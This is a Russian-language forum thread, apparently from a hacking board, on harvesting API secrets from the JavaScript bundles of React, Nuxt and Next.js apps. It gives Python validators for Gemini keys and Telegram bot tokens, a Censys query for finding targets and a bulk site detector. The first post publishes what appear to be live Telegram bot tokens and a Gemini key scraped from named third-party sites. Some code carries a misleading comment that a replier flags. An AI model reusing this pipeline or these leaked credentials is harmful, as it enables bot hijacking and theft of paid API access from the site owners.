LIMB
Вход Регистрация

тема

В поисках секторов в современных SPA

Romanoff · · 6 ответов · 875 просмотров

Не удалось прогрузить медиа




Почему это интересно?
Не удалось прогрузить медиа

Не удалось прогрузить медиа

nextjs-firechat/shared/configs/firebase.js at main · ytliuSVN/nextjs-firechat

💬 A Realtime Chat App with Next.js and Firebase. Contribute to ytliuSVN/nextjs-firechat development by creating an account on GitHub.
Не удалось прогрузить медиа
github.com
Переменные не используются в коде напрямую. Вместо этого они подтягиваются через env-конфигурацию, что создаёт определённую иллюзию безопасности

Не удалось прогрузить медиа

Исходный код. Минификация затрудняет чтение, однако изменению подвергаются названия переменных, но не значения, API-ключи прилетают в виде чистого текста.

И это не уязвимость, так работает сама природа фронтенда.

На скриншоте Firebase-ключ. Сервис выступает бэкендом для приложения. Ключ публичный по дизайну, но в то же время он общий для Google-инфраструктуры и способен открывать неожиданные двери, в том числе Gemini.

Спойлер: Проверка ключа
Python:
import requests
import sys

KEYS_FILE = 'keys.txt'
VALID_KEYS_FILE = 'valid.txt'
GEMINI_API_URL = "https://generativelanguage.googleapis.com/v1beta/models?key={}"


def read_keys(filepath):
    try:
        with open(filepath, 'r') as f:
            keys = [line.strip() for line in f if line.strip()]
        return keys
    except FileNotFoundError:
        print(f"Ошибка: Файл '{filepath}' не найден.")
        sys.exit(1)


def save_valid_keys(valid_keys):
    try:
        with open(VALID_KEYS_FILE, 'w') as f:
            for key in valid_keys:
                f.write(key + '\n')
        print(f"\nСохранено {len(valid_keys)} валидных ключей в файл '{VALID_KEYS_FILE}'")
    except Exception as e:
        print(f"\nОшибка при сохранении ключей: {e}")


def check_gemini_keys(api_keys):
    valid_keys = []
    
    for key in api_keys:
        url = GEMINI_API_URL.format(key)
        
        try:
            response = requests.get(url, timeout=30)
            status_code = response.status_code
            
            if status_code == 200:
                try:
                    data = response.json()
                    models_count = len(data.get('models', []))
                    status_text = f"Валидный (доступно моделей: {models_count})"
                except:
                    status_text = "Валидный ключ"
                valid_keys.append(key)
                    
            elif status_code == 400:
                data = response.json()
                error_msg = data.get('error', {}).get('message', '')
                if 'API key not valid' in error_msg or 'API_KEY_INVALID' in error_msg:
                    status_text = "Невалидный ключ"
                elif 'API key expired' in error_msg:
                    status_text = "Срок действия истек"
                else:
                    status_text = f"Bad Request: {error_msg[:50]}"
                    
            elif status_code == 401:
                status_text = "Неавторизован"
                
            elif status_code == 403:
                data = response.json()
                error_msg = data.get('error', {}).get('message', '')
                if 'billing' in error_msg.lower() or 'quota' in error_msg.lower():
                    status_text = "Проблемы с биллингом/квотой"
                elif 'disabled' in error_msg.lower():
                    status_text = "API отключен для этого ключа"
                else:
                    status_text = f"403: {error_msg[:40]}"
                    
            elif status_code == 429:
                status_text = "Превышен лимит запросов"
                
            else:
                try:
                    data = response.json()
                    error_msg = data.get('error', {}).get('message', response.reason)
                except:
                    error_msg = response.reason
                status_text = f"Ошибка: {error_msg[:50]}"
                
        except requests.exceptions.Timeout:
            status_code = "N/A"
            status_text = "Превышено время ожидания"
            
        except requests.exceptions.ConnectionError:
            status_code = "N/A"
            status_text = "Проблемы с сетью"
            
        except requests.exceptions.RequestException as e:
            status_code = "N/A"
            status_text = f"Ошибка: {str(e)[:50]}"

        print(f"{key} {str(status_code)} {status_text}")
    
    return valid_keys


def main():
    api_keys = read_keys(KEYS_FILE)
    
    if not api_keys:
        print(f"Файл '{KEYS_FILE}' пуст или не содержит ключей.")
        sys.exit(0)
    
    print(f"Найдено {len(api_keys)} ключей в файле '{KEYS_FILE}'.")
    valid_keys = check_gemini_keys(api_keys)
    
    if valid_keys:
        save_valid_keys(valid_keys)
    else:
        print("\nВалидных ключей не найдено.")
    
    print("Скрипт завершил исполнение")


if __name__ == "__main__":
    main()

Код читает API-ключи из файла и проверяет их валидность на Gemini API. Используется бесплатный эндпоинт для получения списка моделей (не тратит квоту генерации).
Краулер SPA весьма простая штука с интересными особенностями. Код прикреплён к статье, он повторяет описанную логику.

Не удалось прогрузить медиа

Типичное React-приложение. Один root div, один js-бандл — верный паттерн, перед нами React.

Вырисовывается следующая логика: один GET-запрос, далее проверка JavaScript на наличие секретов. Вроде бы всё, но есть ещё одна вещь, которую нужно учесть, она называется ленивая загрузка.

SPA-приложения отдают весь JavaScript во время первой загрузки. Порой это не лучшее решение, например, при роутинге. Выходом из ситуации может быть отдача части JavaScript по мере необходимости. Это и есть ленивая загрузка.

Особенность в том, что роутинг часто, НО не обязательно, реализуется через ленивую загрузку.

JavaScript:
// Без ленивой загрузки
import Home from './pages/Home';
import About from './pages/About';

<Routes>
  <Route path="/" element={<Home />} />
  <Route path="/about" element={<About />} />
</Routes>


// С ленивой загрузкой
import { lazy, Suspense } from 'react';

const Home = lazy(() => import('./pages/Home'));
const About = lazy(() => import('./pages/About'));

<Suspense fallback={<div>Загрузка...</div>}>
  <Routes>
    <Route path="/" element={<Home />} />
    <Route path="/about" element={<About />} />
  </Routes>
</Suspense>

Как и наоборот: возможен сценарий, в рамках которого в приложении всего одна страница, но при этом часть кода отдаётся через ленивую загрузку, например, по нажатию кнопки или любому другому событию.

Рассмотрим процесс подгрузки.

Не удалось прогрузить медиа



Не удалось прогрузить медиа



Проверим бандл и обнаружим, что он содержит в себе чанки, которые могут быть подгружены в будущем.

Не удалось прогрузить медиа

Не удалось прогрузить медиа


Дополняем логику. Помимо проверки на ключи, исходный бандл следует проверять на наличие ленивых компонентов с помощью паттерна. В данном случае он содержит в себе import (паттерн напрямую зависит от сборщика, в примере сборщик Vite).

Python:
LAZY_PATTERN = r'import\(\s*[\'"`]\./([^\'"`]+\.js)[\'"`]\s*\)'

После обнаружения уникальных чанков следует формировать ссылку, пример которой мы ранее обнаружили во вкладке Network: она включает в себя assets, а далее полученные чанки нужно проверять на ключи.

Вот и весь React-краулер. Точно так же будет работать Vue/Svelte-краулер, только вместо root div будет app div.

А следует ли рекурсивно проверять ленивую загрузку на наличие компонентов с ленивой загрузкой? В чистом React такой паттерн разработки видится мне настолько маловероятным, что отвечу я отрицательно.

Но не React’ом единым.
   
Мета-фреймворки призваны превращать довольно простые библиотеки в полноценный комбайн с возможностью оптимизации SEO-задач и гибким подходом к формированию контента.

А подход рекурсивного парсинга это буквально краулер Nuxt.

По сигнатуре _nuxt определяем фреймворк. Далее делаем запрос на главную страницу и собираем все чанки (в отличие от чистого React, здесь их определённое множество), проверяем их на ключи.

Не удалось прогрузить медиа


Чанки, в свою очередь, могут содержать упоминание .js-файлов. Собираем их в чанках, формируем ссылку, рекурсивно проверяя найденные .js-файлы на наличие новых .js-файлов, попутно проверяя, была ли уже осуществлена проверка, и наличие секторов.

Не удалось прогрузить медиа


Вот и вся идея Nuxt-краулера.

Но не Nuxt’ом единым. Каждый фреймворк имеет свои особенности.

Админ-панель на Next.js.

Через объект window.__BUILD_MANIFEST утекают все чанки всех страниц приложения. Одновременно современная и в то же время весьма странная архитектура.
Не удалось прогрузить медиа
Не удалось прогрузить медиа



Next может быть сконфигурирован с помощью двух различных роутингов - page routing и app routing. Утечка чанков происходит во время использования страничного роутинге.

Определяем сигнатуру Next.js — _next.

Не удалось прогрузить медиа



Осуществляем GET-запрос на основной URL. Следом собираем чанки, которые присутствуют на странице, и проверяем их на ключи. Затем забираем объект window.__BUILD_MANIFEST, проще всего сделать это через headless-браузер и библиотеку Playwright

Python:
def get_build_manifest(url):
    print(f"\nОткрываю хедлес браузер для поиска BUILD_MANIFEST...")
    
    try:
        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True)
            page = browser.new_page()
            
            page.goto(url, wait_until='networkidle', timeout=10000)
            page.wait_for_timeout(2000)
            
            manifest = page.evaluate("window.__BUILD_MANIFEST")
            
            browser.close()
            
            if manifest:
                print("BUILD_MANIFEST найден!")
                return manifest
            else:
                print("window.__BUILD_MANIFEST не найден!")
                return None
                
    except Exception as e:
        print(f"Ошибка: {e}")
        return None
Далее проходимся по всем чанкам в поиске секретов.

App routing не содержит явного билд-манифеста на клиенте, в такой конфигурации он вынесен на сервер.

Не удалось прогрузить медиа


На клиенте содержится _buildManifest.js, но он не столь информативен.

Не удалось прогрузить медиа


Впрочем, рядом лежит файл _ssgManifest.js.

Не удалось прогрузить медиа


В Next.js существуют разные типы рендеринга. Если упростить, чтобы не запутаться: JavaScript может отдаваться и рендериться на клиенте это Client Side Rendering; рендериться и отдаваться через сервер это Server Side Rendering; также сервер может отдавать чистую статику это SSG, Static Site Generation.

Сервер может отдать файл _ssgManifest.js, но путь к нему проходит через строку со случайной генерацией, по типу 2k8q7vyr89tepey_05_FL.

Не удалось прогрузить медиа


Строка содержится в исходном билде, перед 
JavaScript:
self.__next_f.push([1,"0:{\"P\":null,\"b\":"
 и содержит 21 символ. URL формируется по формату: /_next/static/2k8q7vyr89tepey_05_FL/_ssgManifest.js

Также App Router содержит объект self.__next_f с частью чанков (под капотом используются React Server Components, которые подгружают информацию с помощью серверной генерации, но часть уже содержится в этих чанках).

Логика работы краулера Next.js с App Router: GET-запрос на основную страницу, проверка чанков с неё, получение ssgManifest, проверка чанков с найденными в нём URL, проверка self.__next_f, проверка чанков на секреты.
   
В коде файл config.py отвечает за различные секреты, которые можно обнаружить на сайтах.

На сайтах можно встретить ключи к AI-моделям.
Ключи от ботов: регулярное выражение 
Python:
"pattern": r"\b\d+:[A-Za-z0-9_-]{14,256}\b"
 обнаруживает Telegram-ботов.
Ключи от платёжных шлюзов.
Строки подключения к различным сервисам.

Файл config.py может быть расширен и другими переменными.

Спойлер: Код



Спойлер: Найденые ключи
5 ключей телеграм бота на одном сайте - https://app.betbots.com.br/ 


		
	



https://app.betbots.com.br/static/js/main.7f01f9ac.chunk.js - Файл с ключами 


		
	



910707773:AAH474-3GXHLMT8JRIKFgAkgKHN3xEZ3zeY - @betbotsbot01_bot - Bet Bots (ID: 910707773)

934866398:AAEGgBaRpqqVlGVpD4Xw4bTwk2ROG75zDv8 - @betbotsbot02_bot - Bet Bots (ID: 934866398)

774242678:AAERgC_N6EaEP6T-8ykOwGiaswRUr5-oHk0 - @BetBotsBot03_bot - BetBots (ID: 774242678)

890783891:AAGiZWMU7zoEEMqD5JeRsM-4PLR2Ah6ItII - @BetBotsBot04_bot - Bet Bots (ID: 890783891)

957079959:AAFJ71F0m6QNIAcwY_5g0XilHvDyEDdXvVg - @BetBotsBot05_bot - Bet Bots (ID: 957079959)





Еще ключи телеграм ботов найденные с помощью кода

https://sticlapiatra.md/assets/index-CYx2RBEV.js 


		
	

8506729653:AAE3jV7KQge3wkVjINXKjZC4QmLoV-TSLhg - @sticlapiatra_bot - sticlapiatra_bot (ID: 8506729653)




	
		
			https://cavelounge.md/assets/index-C7lfuu16.js
		
	

		
	

8580086219:AAGnLOHq8n0loijKdpuSUmO6kFHuJv46QdY - @CaveLoungeBot - Cave Lounge Bot (ID: 8580086219)



Gemini ключ с балансом



 https://www.foxy.in/static/js/main.43d0e4ba.js 


		
	

AIzaSyB9bIWcjq8UdU6SGQ8F8QbNtwlbsztClEA
👍61 🔥11 👏18 🤔9
Код - https://gofile.io/d/VD7wa3 (могу перезалить на другой ФО), к статье вижу только картинки можно добавлять
👍2
Обнаружение сайтов (один из способов). Идем в Shodan/Censys/Fofa. Пробиваем хосты на Экспресс по заголовку.
Для censys 
host.services.endpoints.http.headers:(key="X-Powered-By" and value:"Express")
    
Отдаем список в детектор (для React и Next пример)

Python:
import subprocess
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
import logging
from datetime import datetime

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler('detector.log', encoding='utf-8'),
        logging.StreamHandler()
    ]
)
logger = logging.getLogger(__name__)

def make_curl_request(url):
    return subprocess.run(
        ["curl", "-s", "-i", "-L", "--max-redirs", str(5), url.strip()],
        capture_output=True,
        text=True,
        encoding='utf-8',
        errors='replace',
        timeout=10
    )

def detect_react(html):
    """Детектит React"""
    return '<div id="root"></div>' in html or '<div id="root">' in html

def detect_nextjs(html):
    """Детектит next.js"""
    return '/_next' in html

def process_url(url, react_file, next_file, lock):
    """Обрабатывает один URL"""
    url = url.strip()
    if not url:
        return
    
    logger.info(f"Проверяю: {url}")
    
    try:
        result = make_curl_request(url)
        html = result.stdout + result.stderr 
        
        detected = []
        
        if detect_react(html):
            detected.append("React")
            with lock:
                react_file.write(url + '\n')
                react_file.flush()
        
        if detect_nextjs(html):
            detected.append("Next.js")
            with lock:
                next_file.write(url + '\n')
                next_file.flush()
        
        if detected:
            logger.info(f"✅ {url} - Найдено: {', '.join(detected)}")
        else:
            logger.info(f"❌ {url} - Ничего не найдено")
            
    except subprocess.TimeoutExpired:
        logger.error(f"⏰ {url} - Таймаут")
    except Exception as e:
        logger.error(f"💥 {url} - Ошибка: {str(e)}")

def main():
    input_file = Path('urls.txt')
    react_file = Path('react.txt')
    next_file = Path('next.txt')
    
    if not input_file.exists():
        logger.error(f"Файл {input_file} не найден!")
        return
    
    with open(input_file, 'r', encoding='utf-8') as f:
        urls = [line.strip() for line in f if line.strip()]
    
    logger.info(f"Загружено {len(urls)} URL для проверки")
    
    lock = threading.Lock()
    
    with open(react_file, 'w', encoding='utf-8') as rf, \
         open(next_file, 'w', encoding='utf-8') as nf:
        
        max_workers = min(30, len(urls))  # Максимум 10 потоков
        logger.info(f"Запускаю проверку в {max_workers} потоков")
        
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            futures = {
                executor.submit(process_url, url, rf, nf, lock): url
                for url in urls
            }
            
            for future in as_completed(futures):
                url = futures[future]
                try:
                    future.result()
                except Exception as e:
                    logger.error(f"Ошибка в потоке для {url}: {e}")
    
    react_count = sum(1 for _ in open(react_file, 'r', encoding='utf-8'))
    next_count = sum(1 for _ in open(next_file, 'r', encoding='utf-8'))
    
    logger.info("="*50)
    logger.info("СКАНИРОВАНИЕ ЗАВЕРШЕНО!")
    logger.info(f"React найден на {react_count} сайтах → react.txt")
    logger.info(f"Next.js найден на {next_count} сайтах → next.txt")
    logger.info(f"Логи сохранены в detector.log")

if __name__ == "__main__":
    main()

Передаем в основной код - https://gofile.io/d/VD7wa3 

Проверяем телеграм ботов 

Python:
import json
import urllib.request
import urllib.error

def check_token_simple(token):
    token = token.strip()
    url = f"https://api.telegram.org/bot{token}/getMe"
    
    try:
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req, timeout=10) as response:
            data = json.loads(response.read().decode('utf-8'))
            
            if data.get('ok'):
                bot_info = data['result']
                return {
                    'valid': True,
                    'username': f"@{bot_info.get('username', 'Неизвестно')}",
                    'name': bot_info.get('first_name', 'Неизвестно'),
                    'id': bot_info.get('id')
                }
    except:
        pass
    
    return {'valid': False}

with open('tokens.txt', 'r', encoding='utf-8') as f:
    tokens = f.readlines()

for token in tokens:
    token = token.strip()
    if not token:
        continue
    
    result = check_token_simple(token)
    
    if result['valid']:
        print(f"✓ ВАЛИДНЫЙ: {result['username']} - {result['name']} (ID: {result['id']})")
    else:
        print(f"✗ НЕВАЛИДНЫЙ: {token[:15]}...")

Находим телеграм ботов 

Hidden text, you need have 152 messages, now you have 0 posts.


Находим Gemini
Валидные, доступно 50 моделей, с балансом


Hidden text, you need have 152 messages, now you have 0 posts.
👍1
ОтветRomanoff

Отдаем список в детектор (для React и Next пример)

Ладно смайлики в генерированом коде но чтоб врать я от ии не ожидал конечно.
Python:
max_workers = min(30, len(urls))  # Максимум 10 потоков
Подскажте еще где в коде используется datetime? 
Смотрю не могу понять.
&#34;В поисках секторов в современных SPA&#34; - название не отражает содержание
ОтветRomanoff

Обнаружение сайтов (один из способов). Идем в Shodan/Censys/Fofa. Пробиваем хосты на Экспресс по заголовку. Для censys host.services.endpoints.http.headers:(key="X-Powered-By" and value:"Express") Отдаем список в…

прикрепите скриншоты сайтов с которых секреты получены)) И оформите красиво
👍4 🔥1
Ответcybergangster

прикрепите скриншоты сайтов с которых секреты получены)) И оформите красиво

Скриншоты? Давайте оставлю в ввиде URL
Hidden text, you need have 154 messages, now you have 0 posts.


Добавлю также статистику: на 8 валидных Gemini ключей требуется около 1400 невалидных, поскольку пользователь должен в консоле Google активировать как Gemini так и фаербейс (или другой сервис, некоторые ключи из карт например). Изначально хотелось взять эти ключи под тестирование самого фаербейс, там есть ряд моментов (несколько БД и мисконфигурации) но это не сработало, как минимум на небольшой выборке в сотню ключей 

Дорка под censys - 
Code:
host.services.endpoints.http.headers:(key="X-Powered-By" and value:"Express")

Ответakulapera

Ладно смайлики в генерированом коде но чтоб врать я от ии не ожидал конечно. Python: max_workers = min ( 30 , len (urls)) # Максимум 10 потоков Подскажте еще где в коде используется datetime ? Смотрю не могу понять.

Не знаю, может нигде не используется. Этот скрипт из дополнения, да, вероятно, его бы следовало лучше проверить, я им сам изначально проверял сайты и он не был для статьи, но, его задача не быть идеальным по форме, а работать по сути, иначе мы скатимся в неолуддизм) Эмоджи в логе это удобно) 
Убрал datetime и эмоджи, вероятно я его переписывал и datetime там изначально был а потом стал не использоватся 

Python:
import subprocess
import threading
import logging
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s - %(levelname)s - %(message)s",
    handlers=[
        logging.FileHandler("detector.log", encoding="utf-8"),
        logging.StreamHandler()
    ]
)

logger = logging.getLogger(__name__)


def process_url(url, react_file, next_file, lock):
    try:
        result = subprocess.run(
            ["curl", "-s", "-i", "-L", "--max-redirs", "5", url],
            capture_output=True,
            text=True,
            encoding="utf-8",
            errors="replace",
            timeout=10
        )

        html = result.stdout + result.stderr

        if '<div id="root"></div>' in html or '<div id="root">' in html:
            with lock:
                react_file.write(url + '\n')

        if '/_next' in html:
            with lock:
                next_file.write(url + '\n')

    except subprocess.TimeoutExpired:
        logger.warning(f"Таймаут: {url}")
    except Exception as e:
        logger.error(f"Ошибка {url}: {e}")


def main():
    input_file = Path("urls.txt")

    if not input_file.exists():
        logger.error("Файл urls.txt не найден")
        return

    urls = [
        line.strip()
        for line in input_file.read_text(encoding="utf-8").splitlines()
        if line.strip()
    ]

    logger.info(f"Загружено URL: {len(urls)}")

    lock = threading.Lock()

    with open("react.txt", "w", encoding="utf-8") as react_file, \
         open("next.txt", "w", encoding="utf-8") as next_file:

        with ThreadPoolExecutor(max_workers=min(30, len(urls))) as executor:
            futures = [
                executor.submit(process_url, url, react_file, next_file, lock)
                for url in urls
            ]

            for future in as_completed(futures):
                future.result()

    logger.info("Сканирование завершено")


if __name__ == "__main__":
    main()

Ответlisa99

"В поисках секторов в современных SPA" - название не отражает содержание

Согласен, да, сам об этом думал, тут SPA это такой условно зонтичный термин, а по сути это скорее краулер так было бы четче сказать, как бы вы назвали?
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.